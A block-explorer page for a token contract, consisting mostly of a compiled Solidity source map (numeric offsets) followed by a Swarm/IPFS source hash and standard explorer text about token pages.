15796:17;:::i;:::-;15789:24;;;;15667:154;:::o;12906:272::-;12975:4;13007:7;10529:6;;-1:-1:-1;;;;;10529:6:0;;10473:65;13007:7;-1:-1:-1;;;;;12999:15:0;:4;-1:-1:-1;;;;;12999:15:0;;;:32;;;;-1:-1:-1;10529:6:0;;-1:-1:-1;;;;;13018:13:0;;;10529:6;;13018:13;;12999:32;:71;;;;-1:-1:-1;;;;;;13049:21:0;;;;;;:17;:21;;;;;;;;13048:22;12999:71;:99;;;;-1:-1:-1;;;;;;13075:23:0;;;;;;:17;:23;;;;;;;;13074:24;12999:99;:126;;;;-1:-1:-1;13121:4:0;;-1:-1:-1;;;;;13115:10:0;;;13121:4;;13115:10;;12999:126;:146;;;;-1:-1:-1;;;;;;13129:16:0;;;;12999:146;:171;;;;-1:-1:-1;;;;;;13149:21:0;;13165:4;13149:21;;12992:178;12906:272;-1:-1:-1;;;12906:272:0:o;22630:1310::-;8784:16;:23;;-1:-1:-1;;;;8784:23:0;-1:-1:-1;;;8784:23:0;;;22738:9:::1;::::0;22720:15:::1;::::0;:27:::1;::::0;22738:9;22720:27:::1;:::i;:::-;22716:58:::0;22767:7:::1;22716:58;22784:17;22881:1;22867:9;;22849:15;;:27;;;;:::i;:::-;22829:15;::::0;22806:38:::1;::::0;:20;:38:::1;:::i;:::-;22805:72;;;;:::i;:::-;22804:78;;;;:::i;:::-;22784:98:::0;-1:-1:-1;22895:20:0::1;22918:32;22784:98:::0;22918:20;:32:::1;:::i;:::-;22987:16;::::0;;23001:1:::1;22987:16:::0;;;;;::::1;::::0;;22895:55;;-1:-1:-1;22963:21:0::1;::::0;22987:16;;::::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;22987:16:0::1;22963:40;;23032:4;23014;23019:1;23014:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;23014:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;23058:9:::1;::::0;:16:::1;::::0;;-1:-1:-1;;;23058:16:0;;;;:9;;;::::1;::::0;:14:::1;::::0;:16:::1;::::0;;::::1;::::0;23014:7;;23058:16;;;;;:9;:16:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;23048:4;23053:1;23048:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;23048:26:0;;::::1;:7;::::0;;::::1;::::0;;;;;:26;23087:9:::1;::::0;:191:::1;::::0;-1:-1:-1;;;23087:191:0;;:9;::::1;::::0;:60:::1;::::0;:191:::1;::::0;23162:12;;23087:9:::1;::::0;23205:4;;23232::::1;::::0;23252:15:::1;::::0;23087:191:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;23291:24;23396:1;23382:9;;23364:15;;:27;;;;:::i;:::-;23344:15;::::0;23320:39:::1;::::0;:21:::1;:39;:::i;:::-;23319:73;;;;:::i;:::-;23318:79;;;;:::i;:::-;23291:106:::0;-1:-1:-1;23414:13:0;;23410:344:::1;;23444:9;::::0;23615:4:::1;::::0;23444:224:::1;::::0;-1:-1:-1;;;23444:224:0;;23521:4:::1;23444:224;::::0;::::1;12254:34:1::0;12304:18;;;12297:34;;;23444:9:0::1;12347:18:1::0;;;12340:34;;;12390:18;;;12383:34;-1:-1:-1;;;;;23615:4:0;;::::1;12433:19:1::0;;;12426:44;23638:15:0::1;12486:19:1::0;;;12479:35;23444:9:0;::::1;::::0;:25:::1;::::0;23477:16;;12188:19:1;;23444:224:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;23688:54:0::1;::::0;;13038:25:1;;;13094:2;13079:18;;13072:34;;;13122:18;;;13115:34;;;23688:54:0::1;::::0;-1:-1:-1;13026:2:1;13011:18;23688:54:0::1;;;;;;;23410:344;23803:1;23768:32;23791:9:::0;23768:20;:32:::1;:::i;:::-;:36;23764:169;;;23885:10;::::0;:34:::1;::::0;23848:21:::1;::::0;-1:-1:-1;;;;;23885:10:0::1;::::0;:34;::::1;;;::::0;23848:21;;23823::::1;23885:34:::0;23823:21;23885:34;23848:21;23885:10;:34;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;23806:127;23764:169;22705:1235;;;;8818:1;-1:-1:-1::0;8830:16:0;:24;;-1:-1:-1;;;;8830:24:0;;;22630:1310::o;16966:1383::-;17087:16;;17065:4;;-1:-1:-1;;;17087:16:0;;;;17082:237;;17124:28;17143:4;17149:2;17124:18;:28::i;:::-;17176:16;;-1:-1:-1;;;17176:16:0;;;;17175:17;:41;;;;;17196:20;17207:4;17213:2;17196:10;:20::i;:::-;17171:137;;;17241:47;;-1:-1:-1;;;17241:47:0;;13362:2:1;17241:47:0;;;13344:21:1;13401:2;13381:18;;;13374:30;13440:34;13420:18;;;13413:62;-1:-1:-1;;;13491:18:1;;;13484:35;13536:19;;17241:47:0;13160:401:1;17171:137:0;17339:25;17367:38;17378:4;17384:2;17388:7;17397;17367:10;:38::i;:::-;17339:66;;17441:7;17422:15;17432:4;17422:9;:15::i;:::-;:26;17418:902;;17497:14;;;;-1:-1:-1;;;;;17481:13:0;;;;;;:7;:13;;;;;;:30;;17497:14;17481:30;:::i;:::-;-1:-1:-1;;;;;17465:13:0;;;;;;;:7;:13;;;;;;:46;;;;17554:22;;;;17540:11;;;;;;;;;;:36;;17554:22;17540:36;:::i;:::-;-1:-1:-1;;;;;17526:11:0;;;;;;;:7;:11;;;;;;;;:50;;;;17597:17;;;;;:11;:17;;;;;;;:37;;;;-1:-1:-1;;;;;;17619:15:0;;;;;;:11;:15;;;;;;;;17618:16;17597:37;17593:442;;;-1:-1:-1;;;;;17671:13:0;;;;;;:7;:13;;;;;;:23;;17687:7;;17671:23;:::i;:::-;-1:-1:-1;;;;;17655:13:0;;;;;;:7;:13;;;;;:39;17593:442;;;-1:-1:-1;;;;;17721:17:0;;;;;;:11;:17;;;;;;;;17720:18;:37;;;;-1:-1:-1;;;;;;17742:15:0;;;;;;:11;:15;;;;;;;;17720:37;17716:319;;;17806:22;;-1:-1:-1;;;;;17792:11:0;;17806:22;17792:11;;;:7;:11;;;;;;:36;;17806:22;17792:36;:::i;:::-;-1:-1:-1;;;;;17778:11:0;;;;;;:7;:11;;;;;:50;17716:319;;;-1:-1:-1;;;;;17854:17:0;;;;;;:11;:17;;;;;;;;:36;;;;-1:-1:-1;;;;;;17875:15:0;;;;;;:11;:15;;;;;;;;17854:36;17850:185;;;-1:-1:-1;;;;;17927:13:0;;;;;;:7;:13;;;;;;:23;;17943:7;;17927:23;:::i;:::-;-1:-1:-1;;;;;17911:13:0;;;;;;;:7;:13;;;;;;:39;;;;17997:22;;17983:11;;;;;;;;;;:36;;17997:22;17983:36;:::i;:::-;-1:-1:-1;;;;;17969:11:0;;;;;;:7;:11;;;;;:50;17850:185;18055:17;;;;:21;18051:83;;18095:39;18110:4;18116:6;:17;;;18095:14;:39::i;:::-;18167:1;18153:6;:11;;;:15;:34;;;;18186:1;18172:6;:11;;;:15;18153:34;18149:95;;;18206:38;18219:6;:11;;;18232:6;:11;;;18206:12;:38::i;:::-;18281:2;-1:-1:-1;;;;;18266:42:0;18275:4;-1:-1:-1;;;;;18266:42:0;;18285:6;:22;;;18266:42;;;;1803:25:1;;1791:2;1776:18;;1657:177;18266:42:0;;;;;;;;17418:902;-1:-1:-1;18337:4:0;;16966:1383;-1:-1:-1;;;;;16966:1383:0:o;20501:540::-;20592:7;;20628;;20545;;;;;20646:283;20670:9;:16;20666:20;;20646:283;;;20736:7;20712;:21;20720:9;20730:1;20720:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;20720:12:0;20712:21;;;;;;;;;;;;;:31;;:66;;;20771:7;20747;:21;20755:9;20765:1;20755:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;20755:12:0;20747:21;;;;;;;;;;;;;:31;20712:66;20708:97;;;20788:7;;20797;;20780:25;;;;;;;20501:540;;:::o;20708:97::-;20840:7;:21;20848:9;20858:1;20848:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;20848:12:0;20840:21;;;;;;;;;;;;;20830:31;;:7;:31;:::i;:::-;20820:41;;20896:7;:21;20904:9;20914:1;20904:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;20904:12:0;20896:21;;;;;;;;;;;;;20886:31;;:7;:31;:::i;:::-;20876:41;-1:-1:-1;20688:3:0;;20646:283;;;;20963:7;;20953;;:17;;;;:::i;:::-;20943:7;:27;20939:58;;;20980:7;;20989;;20972:25;;;;;;20501:540;;:::o;20939:58::-;21016:7;;21025;;-1:-1:-1;20501:540:0;-1:-1:-1;20501:540:0:o;16519:439::-;16602:16;;-1:-1:-1;;;16602:16:0;;;;16601:17;16593:65;;;;-1:-1:-1;;;16593:65:0;;13768:2:1;16593:65:0;;;13750:21:1;13807:2;13787:18;;;13780:30;13846:34;13826:18;;;13819:62;-1:-1:-1;;;13897:18:1;;;13890:33;13940:19;;16593:65:0;13566:399:1;16593:65:0;16674:20;16685:4;16691:2;16674:10;:20::i;:::-;16673:21;:37;;;;-1:-1:-1;16704:6:0;;-1:-1:-1;;;;;16698:12:0;;;16704:6;;16698:12;16673:37;16669:282;;;-1:-1:-1;;;;;16727:23:0;;;;;;:17;:23;;;;;;;;;:30;;16753:4;-1:-1:-1;;16727:30:0;;;;;;;;16772:16;:23;;16825:15;16810:12;:30;-1:-1:-1;;;;16857:28:0;-1:-1:-1;;;16857:28:0;;;16905:34;;1605:41:1;;;16905:34:0;;1578:18:1;16905:34:0;;;;;;;16519:439;;:::o;18874:1430::-;18969:18;-1:-1:-1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18969:18:0;19000:25;-1:-1:-1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19000:25:0;19036:19;19058:18;19067:4;19073:2;19058:8;:18::i;:::-;19036:40;-1:-1:-1;19106:21:0;19036:40;19106:7;:21;:::i;:::-;19089:14;;;:38;19140:1029;;;;-1:-1:-1;;;;;19171:11:0;;;;;;:7;:11;;;;;;;;19167:525;;;19217:15;;19203:11;:29;19267:17;;19251:13;:33;19313:11;;19303:7;:21;19167:525;;;-1:-1:-1;;;;;19350:13:0;;;;;;:7;:13;;;;;;;;19346:346;;;19398:14;;19384:11;:28;19447:16;;19431:13;:32;19492:10;;-1:-1:-1;19482:20:0;19346:346;;;19557:19;;19543:11;:33;19611:21;;19595:13;:37;19661:15;;19651:7;:25;19346:346;19748:16;;19733:11;;19723:21;;:7;:21;:::i;:::-;19722:42;;;;:::i;:::-;19708:11;;;:56;19839:16;;19827:7;;19811:13;;:23;;19827:7;19811:23;:::i;:::-;19800:35;;:7;:35;:::i;:::-;19799:56;;;;:::i;:::-;19779:17;;;:76;;;19906:11;;;;:31;;19779:76;19906:31;:::i;:::-;19895:43;;:7;:43;:::i;:::-;19870:68;;19969:11;;;;:25;;19983:11;;19969:25;:::i;:::-;19955:11;;;:39;19140:1029;;;20041:1;20027:11;;;:15;;;20057:17;;;:21;;;20093:32;;;20142:11;;;:15;19140:1029;20259:11;20239:6;:17;;;:31;;;;:::i;:::-;20224:6;:11;;;:47;;;;:::i;:::-;20206:6;:14;;;:66;;;;:::i;:::-;20181:22;;;:91;-1:-1:-1;20181:22:0;18874:1430;-1:-1:-1;;;;;18874:1430:0:o;18357:509::-;18437:19;18460:10;:8;:10::i;:::-;18517:6;;18437:33;;-1:-1:-1;18481:23:0;;-1:-1:-1;;;;;18517:6:0;;;18507:16;;;;:29;;18535:1;18507:29;;;18526:6;;18507:29;18481:55;-1:-1:-1;18547:18:0;18601:11;18569:28;18481:55;18569:10;:28;:::i;:::-;18568:44;;;;:::i;:::-;18664:4;18648:22;;;;:7;:22;;;;;;18547:65;;-1:-1:-1;18648:35:0;;18547:65;;18648:35;:::i;:::-;18639:4;18623:22;;;;:7;:22;;;;;;;;:60;;;;18697:11;:26;;;;;;18694:104;;;18779:4;18763:22;;;;:7;:22;;;;;;:35;;18788:10;;18763:35;:::i;:::-;18754:4;18738:22;;;;:7;:22;;;;;:60;18694:104;18814:43;;1803:25:1;;;18839:4:0;;-1:-1:-1;;;;;18814:43:0;;;;;1791:2:1;1776:18;18814:43:0;;;;;;;18426:440;;;18357:509;;:::o;21053:143::-;21143:4;21133:7;;:14;;;;:::i;:::-;21123:7;:24;21171:10;;:17;;21184:4;;21171:17;:::i;:::-;21158:10;:30;-1:-1:-1;;21053:143:0:o;20312:181::-;20373:7;20394:15;20411;20430:20;20441:4;20447:2;20430:10;:20::i;:::-;20393:57;;-1:-1:-1;20393:57:0;-1:-1:-1;20468:17:0;20393:57;;20468:17;:::i;15829:682::-;15939:7;;15975;;15892;;;;;15993:283;16017:9;:16;16013:20;;15993:283;;;16083:7;16059;:21;16067:9;16077:1;16067:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;16067:12:0;16059:21;;;;;;;;;;;;;:31;;:66;;;16118:7;16094;:21;16102:9;16112:1;16102:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;16102:12:0;16094:21;;;;;;;;;;;;;:31;16059:66;16055:97;;;16135:7;;16144;;16127:25;;;;;;;;;16055:97;16187:7;:21;16195:9;16205:1;16195:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;16195:12:0;16187:21;;;;;;;;;;;;;16177:31;;:7;:31;:::i;:::-;16167:41;;16243:7;:21;16251:9;16261:1;16251:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;16251:12:0;16243:21;;;;;;;;;;;;;16233:31;;:7;:31;:::i;:::-;16223:41;-1:-1:-1;16035:3:0;;15993:283;;;;16290:15;16300:4;16290:9;:15::i;:::-;:20;:47;;;;-1:-1:-1;;;;;;11306:27:0;;11282:4;11306:27;;;:18;:27;;;;;;;;16314:23;16286:113;;;16354:25;16363:2;16366:4;16371:7;;16354:8;:25::i;:::-;16390:7;;16381:6;:16;16286:113;16433:7;;16423;;:17;;;;:::i;:::-;16413:7;:27;16409:58;;;16450:7;;16459;;16442:25;;;;;;;;16409:58;16486:7;;-1:-1:-1;16495:7:0;-1:-1:-1;15829:682:0;;;;;;:::o;222:548:1:-;334:4;363:2;392;381:9;374:21;424:6;418:13;467:6;462:2;451:9;447:18;440:34;492:1;502:140;516:6;513:1;510:13;502:140;;;611:14;;;607:23;;601:30;577:17;;;596:2;573:26;566:66;531:10;;502:140;;;506:3;691:1;686:2;677:6;666:9;662:22;658:31;651:42;761:2;754;750:7;745:2;737:6;733:15;729:29;718:9;714:45;710:54;702:62;;;;222:548;;;;:::o;1009:131::-;-1:-1:-1;;;;;1084:31:1;;1074:42;;1064:70;;1130:1;1127;1120:12;1145:315;1213:6;1221;1274:2;1262:9;1253:7;1249:23;1245:32;1242:52;;;1290:1;1287;1280:12;1242:52;1329:9;1316:23;1348:31;1373:5;1348:31;:::i;:::-;1398:5;1450:2;1435:18;;;;1422:32;;-1:-1:-1;;;1145:315:1:o;1839:416::-;1904:6;1912;1965:2;1953:9;1944:7;1940:23;1936:32;1933:52;;;1981:1;1978;1971:12;1933:52;2020:9;2007:23;2039:31;2064:5;2039:31;:::i;:::-;2089:5;-1:-1:-1;2146:2:1;2131:18;;2118:32;2188:15;;2181:23;2169:36;;2159:64;;2219:1;2216;2209:12;2159:64;2242:7;2232:17;;;1839:416;;;;;:::o;2260:456::-;2337:6;2345;2353;2406:2;2394:9;2385:7;2381:23;2377:32;2374:52;;;2422:1;2419;2412:12;2374:52;2461:9;2448:23;2480:31;2505:5;2480:31;:::i;:::-;2530:5;-1:-1:-1;2587:2:1;2572:18;;2559:32;2600:33;2559:32;2600:33;:::i;:::-;2260:456;;2652:7;;-1:-1:-1;;;2706:2:1;2691:18;;;;2678:32;;2260:456::o;2721:180::-;2780:6;2833:2;2821:9;2812:7;2808:23;2804:32;2801:52;;;2849:1;2846;2839:12;2801:52;-1:-1:-1;2872:23:1;;2721:180;-1:-1:-1;2721:180:1:o;3095:316::-;3172:6;3180;3188;3241:2;3229:9;3220:7;3216:23;3212:32;3209:52;;;3257:1;3254;3247:12;3209:52;-1:-1:-1;;3280:23:1;;;3350:2;3335:18;;3322:32;;-1:-1:-1;3401:2:1;3386:18;;;3373:32;;3095:316;-1:-1:-1;3095:316:1:o;3416:247::-;3475:6;3528:2;3516:9;3507:7;3503:23;3499:32;3496:52;;;3544:1;3541;3534:12;3496:52;3583:9;3570:23;3602:31;3627:5;3602:31;:::i;3668:388::-;3736:6;3744;3797:2;3785:9;3776:7;3772:23;3768:32;3765:52;;;3813:1;3810;3803:12;3765:52;3852:9;3839:23;3871:31;3896:5;3871:31;:::i;:::-;3921:5;-1:-1:-1;3978:2:1;3963:18;;3950:32;3991:33;3950:32;3991:33;:::i;4061:356::-;4263:2;4245:21;;;4282:18;;;4275:30;4341:34;4336:2;4321:18;;4314:62;4408:2;4393:18;;4061:356::o;4422:380::-;4501:1;4497:12;;;;4544;;;4565:61;;4619:4;4611:6;4607:17;4597:27;;4565:61;4672:2;4664:6;4661:14;4641:18;4638:38;4635:161;;4718:10;4713:3;4709:20;4706:1;4699:31;4753:4;4750:1;4743:15;4781:4;4778:1;4771:15;4635:161;;4422:380;;;:::o;5521:127::-;5582:10;5577:3;5573:20;5570:1;5563:31;5613:4;5610:1;5603:15;5637:4;5634:1;5627:15;5653:127;5714:10;5709:3;5705:20;5702:1;5695:31;5745:4;5742:1;5735:15;5769:4;5766:1;5759:15;5785:128;5852:9;;;5873:11;;;5870:37;;;5887:18;;:::i;5918:127::-;5979:10;5974:3;5970:20;5967:1;5960:31;6010:4;6007:1;6000:15;6034:4;6031:1;6024:15;6461:217;6501:1;6527;6517:132;;6571:10;6566:3;6562:20;6559:1;6552:31;6606:4;6603:1;6596:15;6634:4;6631:1;6624:15;6517:132;-1:-1:-1;6663:9:1;;6461:217::o;6683:125::-;6748:9;;;6769:10;;;6766:36;;;6782:18;;:::i;10367:168::-;10440:9;;;10471;;10488:15;;;10482:22;;10468:37;10458:71;;10509:18;;:::i;10672:251::-;10742:6;10795:2;10783:9;10774:7;10770:23;10766:32;10763:52;;;10811:1;10808;10801:12;10763:52;10843:9;10837:16;10862:31;10887:5;10862:31;:::i;10928:980::-;11190:4;11238:3;11227:9;11223:19;11269:6;11258:9;11251:25;11295:2;11333:6;11328:2;11317:9;11313:18;11306:34;11376:3;11371:2;11360:9;11356:18;11349:31;11400:6;11435;11429:13;11466:6;11458;11451:22;11504:3;11493:9;11489:19;11482:26;;11543:2;11535:6;11531:15;11517:29;;11564:1;11574:195;11588:6;11585:1;11582:13;11574:195;;;11653:13;;-1:-1:-1;;;;;11649:39:1;11637:52;;11744:15;;;;11709:12;;;;11685:1;11603:9;11574:195;;;-1:-1:-1;;;;;;;11825:32:1;;;;11820:2;11805:18;;11798:60;-1:-1:-1;;;11889:3:1;11874:19;11867:35;11786:3;10928:980;-1:-1:-1;;;10928:980:1:o;12525:306::-;12613:6;12621;12629;12682:2;12670:9;12661:7;12657:23;12653:32;12650:52;;;12698:1;12695;12688:12;12650:52;12727:9;12721:16;12711:26;;12777:2;12766:9;12762:18;12756:25;12746:35;;12821:2;12810:9;12806:18;12800:25;12790:35;;12525:306;;;;;:::o

Swarm Source

ipfs://141c81b83a3be3be977f0b3735c8ece704b2ae7a75ab060625eb498bc90e06e6
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.